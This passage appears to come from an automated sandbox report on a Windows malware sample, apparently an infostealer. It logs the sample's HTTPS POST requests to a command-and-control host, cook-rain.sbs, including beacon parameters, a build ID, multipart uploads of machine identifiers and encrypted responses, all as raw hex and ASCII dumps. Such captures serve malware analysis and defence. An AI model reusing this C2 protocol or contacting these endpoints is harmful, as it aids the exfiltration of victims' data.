Nov 21, 2024 14:26:31.718300104 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:26:31.719921112 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:26:31.720021963 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:26:31.836272001 CET	1236	IN	Data Raw: 63 64 6a 9f 66 a6 ad ee 0b 06 58 95 2b 93 9f 72 44 36 b9 86 47 bf 73 9b c4 89 d2 81 3a f9 26 50 25 b0 c0 89 c7 90 93 6d fe 9a ea 75 0e 8b 93 80 47 b6 a4 85 59 17 ae d4 11 c6 ce 08 54 a4 24 d1 41 b5 87 b9 0c c6 cb 68 f3 91 7d 09 54 a4 24 63 42 a9 Data Ascii: cdjfX+rD6Gs:&P%muGYT$Ah}T$cBbu)ARAS:>H %a3frnBDvWi#j,8PEr(v+In-}GT0bil(uZ7"iT

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	188.114.96.3	443	5788	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:08 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-21 13:26:08 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-21 13:26:09 UTC	977	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tlingqv50nn7shag8niuq74m5k; expires=Mon, 17-Mar-2025 07:12:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XPsofO2kxcZ2xSuv%2FspOLHRV5lC2GZKHs1cvvxDeYtabDAfwklFZFui0YQsDpTfUF7tDJ9UBOvJznfnJ2oNQPsns8PR3JoNndbveS4%2B1teE8IYsv9w3wJmCyNg538r6o"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6102832adb43cd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2056&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=904&delivery_rate=778666&cwnd=252&unsent_bytes=0&cid=f449ecc008ca54f6&ts=717&x=0"
2024-11-21 13:26:09 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-21 13:26:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	188.114.96.3	443	5788	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:10 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-21 13:26:10 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-21 13:26:11 UTC	980	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=936ol3t0qtija1v3iku0gnmdiv; expires=Mon, 17-Mar-2025 07:12:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SAlrIlfdfWNpFnyrRVVQlfp%2Fuo3KnWf5wBGF4%2BCVa6WMveV2XoM8C3Aj83ZOni8jE0mUxBuY%2BOKehDzlcg6J7lVxaCfXsKbfabfMA73Tj%2FuATPK15jjkYnCiEKfZe9hS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6102902bff903e-BOS alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7166&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=950&delivery_rate=404488&cwnd=32&unsent_bytes=0&cid=9ed2921d08cb55f6&ts=753&x=0"
2024-11-21 13:26:11 UTC	389	IN	Data Raw: 31 64 37 36 0d 0a 2f 53 4e 2b 50 7a 36 38 41 65 70 56 51 63 76 61 63 65 74 55 37 70 78 38 37 73 59 56 77 50 30 36 44 4e 55 48 6d 57 6b 38 76 4e 36 47 41 51 67 64 42 49 67 74 79 43 59 6b 36 65 41 46 6d 53 47 4c 73 46 36 50 6f 6a 66 36 6d 31 74 67 70 6d 4b 31 53 30 72 52 2f 4d 64 46 48 31 4e 4e 32 53 33 49 4d 44 6e 70 34 43 71 51 64 6f 76 79 58 74 54 6b 63 4b 71 66 57 32 43 33 5a 76 49 47 54 4e 43 39 6c 55 38 5a 56 31 76 66 5a 59 73 35 4c 4b 36 2f 46 49 6f 2b 67 50 55 52 68 71 73 33 37 4e 39 66 64 76 63 39 75 79 52 5a 79 4c 2b 77 51 67 31 55 48 4d 45 74 6b 58 63 6b 70 66 68 4c 79 54 57 4c 2f 68 43 49 6f 6e 36 6f 6c 56 4a 6f 74 6d 50 7a 47 56 58 61 74 70 56 42 47 6c 5a 52 31 6e 47 47 4d 79 75 6c 75 52 36 4b 64 73 4b 2b 47 5a 54 6b 4c 2b 4c 4d 61 6d 32 6d 64 Data Ascii: 1d76/SN+Pz68AepVQcvacetU7px87sYVwP06DNUHmWk8vN6GAQgdBIgtyCYk6eAFmSGLsF6Pojf6m1tgpmK1S0rR/MdFH1NN2S3IMDnp4CqQdovyXtTkcKqfW2C3ZvIGTNC9lU8ZV1vfZYs5LK6/FIo+gPURhqs37N9fdvc9uyRZyL+wQg1UHMEtkXckpfhLyTWL/hCIon6olVJotmPzGVXatpVBGlZR1nGGMyuluR6KdsK+GZTkL+LMam2md
2024-11-21 13:26:11 UTC	1369	IN	Data Raw: 36 6e 30 46 63 45 78 7a 5a 65 38 68 76 59 34 71 39 41 34 34 36 6d 72 77 6b 7a 4c 73 35 75 39 39 66 59 76 63 39 75 77 4e 62 33 62 2b 55 54 68 39 56 56 38 78 6a 6d 6a 45 75 72 4b 6f 56 6a 44 69 47 2f 51 79 47 71 6e 47 68 6c 6c 4e 6e 73 6d 4c 2f 53 78 43 65 75 34 63 42 52 42 31 39 30 32 69 45 50 54 53 70 2b 41 7a 48 4c 38 7a 35 45 73 7a 38 4e 36 61 65 58 47 2b 7a 61 2f 55 50 55 74 69 79 6b 6b 34 61 56 31 7a 5a 61 59 41 2f 49 71 53 7a 48 49 6b 7a 67 66 6f 59 67 4b 56 79 34 74 45 59 61 61 38 6c 6f 30 74 77 32 62 2b 4e 41 79 6c 65 55 74 42 6b 6e 6e 63 38 35 36 46 54 6a 6a 72 4d 70 6c 36 43 6f 58 69 77 6e 6b 70 72 75 58 66 33 44 6c 6a 54 76 35 46 42 47 56 70 52 30 47 57 50 4e 43 75 74 75 52 32 46 50 49 2f 36 48 63 7a 71 4e 36 57 48 47 44 62 33 56 50 67 50 57 63 Data Ascii: 6n0FcExzZe8hvY4q9A446mrwkzLs5u99fYvc9uwNb3b+UTh9VV8xjmjEurKoVjDiG/QyGqnGhllNnsmL/SxCeu4cBRB1902iEPTSp+AzHL8z5Esz8N6aeXG+za/UPUtiykk4aV1zZaYA/IqSzHIkzgfoYgKVy4tEYaa8lo0tw2b+NAyleUtBknnc856FTjjrMpl6CoXiwnkpruXf3DljTv5FBGVpR0GWPNCutuR2FPI/6HczqN6WHGDb3VPgPWc
2024-11-21 13:26:11 UTC	1369	IN	Data Raw: 45 6c 70 59 30 6d 71 46 4d 53 4f 75 76 42 61 62 4d 34 58 79 45 73 7a 71 4e 36 57 48 47 44 62 33 53 76 77 64 58 66 47 2f 6a 6b 68 63 51 68 4c 48 49 34 38 37 59 2f 48 34 46 49 77 2b 68 2f 67 57 6a 4c 5a 79 72 4a 52 5a 5a 4c 46 6b 39 67 64 59 33 72 32 66 52 78 42 64 57 39 6c 78 6d 6a 49 6c 75 37 4a 54 78 33 61 4c 35 6c 37 55 35 45 47 79 69 45 6c 34 39 56 44 34 42 56 44 5a 71 74 39 65 55 6b 51 63 32 57 2f 49 62 32 4f 69 75 42 2b 4f 50 6f 72 36 46 6f 4f 72 66 72 43 65 56 47 43 6c 59 76 73 43 55 4e 47 77 6c 6b 77 62 55 46 66 55 62 6f 77 77 49 75 6e 32 55 34 34 75 7a 4b 5a 65 75 72 52 36 72 72 46 54 59 72 34 6c 35 45 56 48 6e 72 75 54 41 55 51 64 57 4e 4a 72 67 6a 67 71 6f 37 49 63 67 44 61 45 39 78 65 50 70 48 75 6b 6e 6c 52 69 75 6d 44 34 44 6c 50 62 76 4a 4e Data Ascii: ElpY0mqFMSOuvBabM4XyEszqN6WHGDb3SvwdXfG/jkhcQhLHI487Y/H4FIw+h/gWjLZyrJRZZLFk9gdY3r2fRxBdW9lxmjIlu7JTx3aL5l7U5EGyiEl49VD4BVDZqt9eUkQc2W/Ib2OiuB+OPor6FoOrfrCeVGClYvsCUNGwlkwbUFfUbowwIun2U44uzKZeurR6rrFTYr4l5EVHnruTAUQdWNJrgjgqo7IcgDaE9xePpHuknlRiumD4DlPbvJN
2024-11-21 13:26:11 UTC	1369	IN	Data Raw: 39 49 6a 30 48 63 76 71 72 51 62 68 6a 43 46 38 68 53 46 72 33 75 70 6d 31 52 6e 73 6d 50 36 44 6c 76 66 75 4a 4e 4c 47 6c 35 66 30 57 79 48 50 32 50 6e 2b 42 53 52 64 74 53 2b 4f 35 75 76 65 61 54 66 52 79 43 75 4a 66 77 48 48 6f 62 38 6b 30 67 61 57 31 6e 53 59 6f 34 2f 4a 71 47 38 45 6f 38 77 6a 2f 45 61 69 61 56 34 70 70 4e 57 5a 4c 5a 6b 39 77 42 52 31 62 6e 66 44 31 78 61 52 4a 34 37 79 41 59 67 76 36 38 44 68 58 61 54 73 41 66 4d 6f 33 76 69 78 78 68 76 70 57 2f 78 42 56 76 52 75 5a 78 4f 47 31 42 61 30 6d 6d 42 50 79 57 6d 73 51 47 4b 4f 6f 4c 35 45 49 43 71 65 71 69 63 56 53 37 35 4a 66 77 54 48 6f 62 38 73 30 59 52 63 31 66 53 5a 4d 67 6f 62 62 44 34 46 49 56 32 31 4c 34 53 68 71 68 2b 6f 70 5a 64 5a 72 78 73 2f 67 70 56 32 37 2b 5a 54 42 4e 55 Data Ascii: 9Ij0HcvqrQbhjCF8hSFr3upm1RnsmP6DlvfuJNLGl5f0WyHP2Pn+BSRdtS+O5uveaTfRyCuJfwHHob8k0gaW1nSYo4/JqG8Eo8wj/EaiaV4ppNWZLZk9wBR1bnfD1xaRJ47yAYgv68DhXaTsAfMo3vixxhvpW/xBVvRuZxOG1Ba0mmBPyWmsQGKOoL5EICqeqicVS75JfwTHob8s0YRc1fSZMgobbD4FIV21L4Shqh+opZdZrxs/gpV27+ZTBNU
2024-11-21 13:26:11 UTC	1369	IN	Data Raw: 68 76 59 36 2b 33 47 6f 6f 35 6a 66 63 53 67 61 46 2b 70 35 35 65 61 72 31 76 2b 77 31 59 33 37 6d 56 51 68 31 58 56 64 6c 72 6a 7a 51 78 36 66 5a 54 6a 69 37 4d 70 6c 36 6c 6f 32 57 73 6a 78 68 78 2b 58 79 37 44 46 4b 65 35 4e 39 46 46 6c 4a 59 32 57 2b 4f 4d 69 57 6b 75 52 79 49 4e 6f 50 36 46 59 57 69 64 71 2b 61 56 57 71 6c 62 2f 41 45 55 74 65 77 6b 67 46 53 48 56 76 47 49 39 42 33 45 71 53 32 48 59 34 67 7a 4f 46 51 6c 65 52 77 72 74 38 41 4c 72 5a 70 39 41 68 52 33 62 2b 65 53 77 35 50 55 4e 64 72 6a 54 73 6f 70 37 34 42 6a 7a 6d 46 2f 52 32 46 6f 33 2b 75 6c 56 74 70 39 79 75 37 44 45 61 65 35 4e 39 69 43 30 31 52 6e 6e 7a 47 4c 6d 4f 75 74 46 50 52 64 6f 54 7a 46 6f 61 67 63 4b 2b 59 58 6d 65 6c 62 50 34 46 58 74 71 33 6b 45 63 59 58 6c 7a 4d 5a Data Ascii: hvY6+3Goo5jfcSgaF+p55ear1v+w1Y37mVQh1XVdlrjzQx6fZTji7Mpl6lo2Wsjxhx+Xy7DFKe5N9FFlJY2W+OMiWkuRyINoP6FYWidq+aVWqlb/AEUtewkgFSHVvGI9B3EqS2HY4gzOFQleRwrt8ALrZp9AhR3b+eSw5PUNdrjTsop74BjzmF/R2Fo3+ulVtp9yu7DEae5N9iC01RnnzGLmOutFPRdoTzFoagcK+YXmelbP4FXtq3kEcYXlzMZ
2024-11-21 13:26:11 UTC	1369	IN	Data Raw: 70 39 6c 4f 4f 4c 73 79 6d 58 71 32 2f 64 4b 36 53 47 48 48 35 66 4c 73 4d 55 70 37 6b 33 30 30 53 57 46 7a 55 5a 59 77 79 4a 61 4f 39 45 34 49 31 67 2f 6f 59 69 4b 74 33 71 5a 5a 5a 61 4c 4a 76 38 41 31 54 33 62 71 5a 41 56 49 64 57 38 59 6a 30 48 63 44 73 72 55 66 6a 6e 61 54 73 41 66 4d 6f 33 76 69 78 78 68 6c 75 32 48 38 43 31 50 64 74 4a 70 46 46 6c 68 63 31 6e 47 41 4e 79 53 37 71 68 4f 41 4d 34 44 39 48 6f 69 69 66 71 53 63 58 43 37 35 4a 66 77 54 48 6f 62 38 73 6b 30 62 64 46 76 46 49 35 64 35 4f 75 6d 2f 48 38 6c 75 7a 50 38 56 68 71 74 36 6f 5a 6c 62 5a 62 4a 76 2b 67 78 57 30 36 36 63 54 68 4e 5a 58 4e 46 6c 6a 6a 59 73 72 37 38 61 69 44 36 4c 76 6c 44 4d 6f 32 2f 69 78 78 68 41 73 47 62 2f 53 30 47 51 70 64 39 47 45 42 30 45 6e 6d 4f 43 50 53 Data Ascii: p9lOOLsymXq2/dK6SGHH5fLsMUp7k300SWFzUZYwyJaO9E4I1g/oYiKt3qZZZaLJv8A1T3bqZAVIdW8Yj0HcDsrUfjnaTsAfMo3vixxhlu2H8C1PdtJpFFlhc1nGANyS7qhOAM4D9HoiifqScXC75JfwTHob8sk0bdFvFI5d5Oum/H8luzP8Vhqt6oZlbZbJv+gxW066cThNZXNFljjYsr78aiD6LvlDMo2/ixxhAsGb/S0GQpd9GEB0EnmOCPS
2024-11-21 13:26:11 UTC	316	IN	Data Raw: 74 6e 6a 4d 35 6c 37 55 35 45 4b 68 6b 56 5a 70 6f 58 53 32 4c 45 6a 55 75 34 39 47 43 31 49 63 6b 43 4f 4f 64 33 76 36 39 6c 4f 4e 4a 38 79 6d 54 74 37 2f 49 76 48 49 43 44 79 6f 4b 2b 4a 4c 53 4a 37 6b 7a 51 39 63 54 78 79 47 49 38 38 30 4d 62 75 2b 45 4a 38 31 79 38 41 67 71 37 35 36 70 49 68 4a 55 49 6c 69 34 51 5a 59 79 61 33 54 56 42 39 54 55 74 6c 31 79 48 6c 6a 70 76 68 4c 73 48 62 45 76 69 48 43 35 47 2f 69 78 78 68 62 74 47 76 31 44 45 6a 50 38 62 68 62 45 56 74 4c 7a 79 50 47 64 79 58 70 34 45 50 48 64 6f 6a 76 58 74 54 30 4a 66 6e 4b 43 7a 6e 6e 4e 2b 52 46 52 35 36 71 33 78 6c 4f 45 78 7a 4d 49 39 42 33 5a 4b 71 71 41 59 38 31 6d 76 31 5a 73 70 70 5a 70 5a 6c 64 61 61 63 6e 31 51 42 4b 32 66 7a 52 41 52 4d 64 42 4f 63 6a 77 48 63 63 35 2f 67 Data Ascii: tnjM5l7U5EKhkVZpoXS2LEjUu49GC1IckCOOd3v69lONJ8ymTt7/IvHICDyoK+JLSJ7kzQ9cTxyGI880Mbu+EJ81y8Agq756pIhJUIli4QZYya3TVB9TUtl1yHljpvhLsHbEviHC5G/ixxhbtGv1DEjP8bhbEVtLzyPGdyXp4EPHdojvXtT0JfnKCznnN+RFR56q3xlOExzMI9B3ZKqqAY81mv1ZsppZpZldaacn1QBK2fzRARMdBOcjwHcc5/g
2024-11-21 13:26:11 UTC	1369	IN	Data Raw: 32 36 66 36 0d 0a 48 35 66 4c 73 64 48 6f 62 75 30 51 45 4f 48 51 53 65 4a 49 73 6c 4d 61 2b 37 42 59 70 78 73 73 41 64 6d 71 6c 34 71 5a 35 6d 55 4a 6c 6f 2b 67 68 51 6e 49 32 4a 54 41 78 65 57 64 6c 64 74 6a 6b 6b 76 62 38 64 6a 7a 62 4d 73 46 36 44 35 43 2b 62 33 78 41 75 69 43 75 37 45 78 36 47 2f 4b 70 43 45 6c 4e 62 79 48 4c 46 46 44 57 6b 74 78 69 49 64 73 4b 2b 47 4d 7a 38 4a 2b 7a 66 58 48 2f 33 50 61 74 5a 42 59 76 76 79 42 46 4f 51 68 4c 48 49 35 35 33 65 2f 76 32 55 35 74 32 31 4c 35 5a 67 71 6c 32 6f 5a 46 62 66 4b 56 6a 2b 42 31 64 6d 59 4b 68 59 42 46 57 55 4e 4e 73 67 77 6b 64 69 4c 55 59 68 54 75 44 39 53 43 79 73 58 53 73 6b 56 39 34 70 69 57 31 53 31 47 65 35 4b 59 42 56 42 31 6a 6b 43 4f 51 64 33 76 70 6a 52 43 48 4f 49 76 6f 44 38 47 Data Ascii: 26f6H5fLsdHobu0QEOHQSeJIslMa+7BYpxssAdmql4qZ5mUJlo+ghQnI2JTAxeWdldtjkkvb8djzbMsF6D5C+b3xAuiCu7Ex6G/KpCElNbyHLFFDWktxiIdsK+GMz8J+zfXH/3PatZBYvvyBFOQhLHI553e/v2U5t21L5Zgql2oZFbfKVj+B1dmYKhYBFWUNNsgwkdiLUYhTuD9SCysXSskV94piW1S1Ge5KYBVB1jkCOQd3vpjRCHOIvoD8G
2024-11-21 13:26:11 UTC	1369	IN	Data Raw: 52 67 32 39 79 4c 34 47 55 7a 59 76 34 6c 43 57 32 4e 69 2b 33 53 4c 4a 79 57 71 68 69 32 69 4f 6f 72 35 42 49 75 69 55 59 4c 66 46 69 36 34 4a 61 4d 79 48 70 62 38 6f 41 39 63 52 52 79 47 49 37 30 30 4c 61 65 2f 42 5a 68 37 71 65 6b 64 6e 4b 4a 30 34 74 45 59 61 50 63 39 71 30 55 65 32 71 33 66 47 55 77 50 42 34 73 77 33 32 64 78 74 76 59 4b 79 53 44 4d 70 6b 7a 43 35 47 58 69 78 78 67 70 74 48 66 70 44 56 33 49 76 39 68 2f 49 6e 74 66 7a 32 6d 70 4f 6a 4f 75 68 69 32 63 4e 59 4c 77 47 5a 71 31 4e 2b 7a 66 56 79 37 76 58 4c 74 44 45 74 69 2f 69 51 45 6a 45 78 7a 47 49 39 42 33 46 71 71 32 48 59 34 67 6e 62 4d 34 6a 37 56 39 67 35 4a 49 61 66 63 72 75 77 30 65 68 75 2f 52 41 52 68 4d 48 49 59 7a 32 6d 78 32 2b 75 39 44 32 79 6e 43 35 31 36 61 35 43 2f 77 Data Ascii: Rg29yL4GUzYv4lCW2Ni+3SLJyWqhi2iOor5BIuiUYLfFi64JaMyHpb8oA9cRRyGI700Lae/BZh7qekdnKJ04tEYaPc9q0Ue2q3fGUwPB4sw32dxtvYKySDMpkzC5GXixxgptHfpDV3Iv9h/Intfz2mpOjOuhi2cNYLwGZq1N+zfVy7vXLtDEti/iQEjExzGI9B3Fqq2HY4gnbM4j7V9g5JIafcruw0ehu/RARhMHIYz2mx2+u9D2ynC516a5C/w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	188.114.96.3	443	5788	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:13 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=R2597YLVUXSC7UQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12823 Host: cook-rain.sbs
2024-11-21 13:26:13 UTC	12823	OUT	Data Raw: 2d 2d 52 32 35 39 37 59 4c 56 55 58 53 43 37 55 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 45 30 43 43 34 45 31 35 34 30 46 33 45 31 30 34 41 46 46 35 41 44 45 43 39 45 36 42 44 37 37 0d 0a 2d 2d 52 32 35 39 37 59 4c 56 55 58 53 43 37 55 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 52 32 35 39 37 59 4c 56 55 58 53 43 37 55 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --R2597YLVUXSC7UQContent-Disposition: form-data; name="hwid"7E0CC4E1540F3E104AFF5ADEC9E6BD77--R2597YLVUXSC7UQContent-Disposition: form-data; name="pid"2--R2597YLVUXSC7UQContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-11-21 13:26:15 UTC	989	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6lds1d2uijksj2k2eoli22evq2; expires=Mon, 17-Mar-2025 07:12:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i%2Fg2SloVjciwr%2B9WgxUAVzyoc1hdtgxOcizQ1S%2Bu6wPSkfHRuZYPRQ%2FwnlpnwTMAFBn6WrHYaN8RuZUQYVRvqWKSQzjPtxn1XiSsF38XZ%2F1AFHozKwKiREVaExb9pSNw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e61029e0b0943fd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2110&sent=10&recv=18&lost=0&retrans=0&sent_bytes=2829&recv_bytes=13757&delivery_rate=1388492&cwnd=213&unsent_bytes=0&cid=2e4859671b183556&ts=1915&x=0"
2024-11-21 13:26:15 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-21 13:26:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	188.114.96.3	443	5788	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:16 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DOPHPQKC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15023 Host: cook-rain.sbs
2024-11-21 13:26:16 UTC	15023	OUT	Data Raw: 2d 2d 44 4f 50 48 50 51 4b 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 45 30 43 43 34 45 31 35 34 30 46 33 45 31 30 34 41 46 46 35 41 44 45 43 39 45 36 42 44 37 37 0d 0a 2d 2d 44 4f 50 48 50 51 4b 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 44 4f 50 48 50 51 4b 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 44 4f 50 48 50 51 4b 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --DOPHPQKCContent-Disposition: form-data; name="hwid"7E0CC4E1540F3E104AFF5ADEC9E6BD77--DOPHPQKCContent-Disposition: form-data; name="pid"2--DOPHPQKCContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--DOPHPQKCContent-Di
2024-11-21 13:26:17 UTC	990	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gb8lkl9opelu3vplvqe46nivtb; expires=Mon, 17-Mar-2025 07:12:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lzX0c%2Fu2NTgGEuPeccsmX%2FcmkQbC1f0%2BFcA8EqiJiOmL7Y0swWira3sczczBB43aV%2BzIIl6KcfX7SG7kp2Bpl1%2BCayU62wTuayFGkRZVkiyyHAAhDO3U1c%2FMyg8nCsNm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6102b30b0dc407-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2380&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2830&recv_bytes=15950&delivery_rate=1259163&cwnd=191&unsent_bytes=0&cid=d518e1f609239a8c&ts=911&x=0"
2024-11-21 13:26:17 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-21 13:26:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	188.114.96.3	443	5788	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:19 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=68DZU8F8G User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20519 Host: cook-rain.sbs
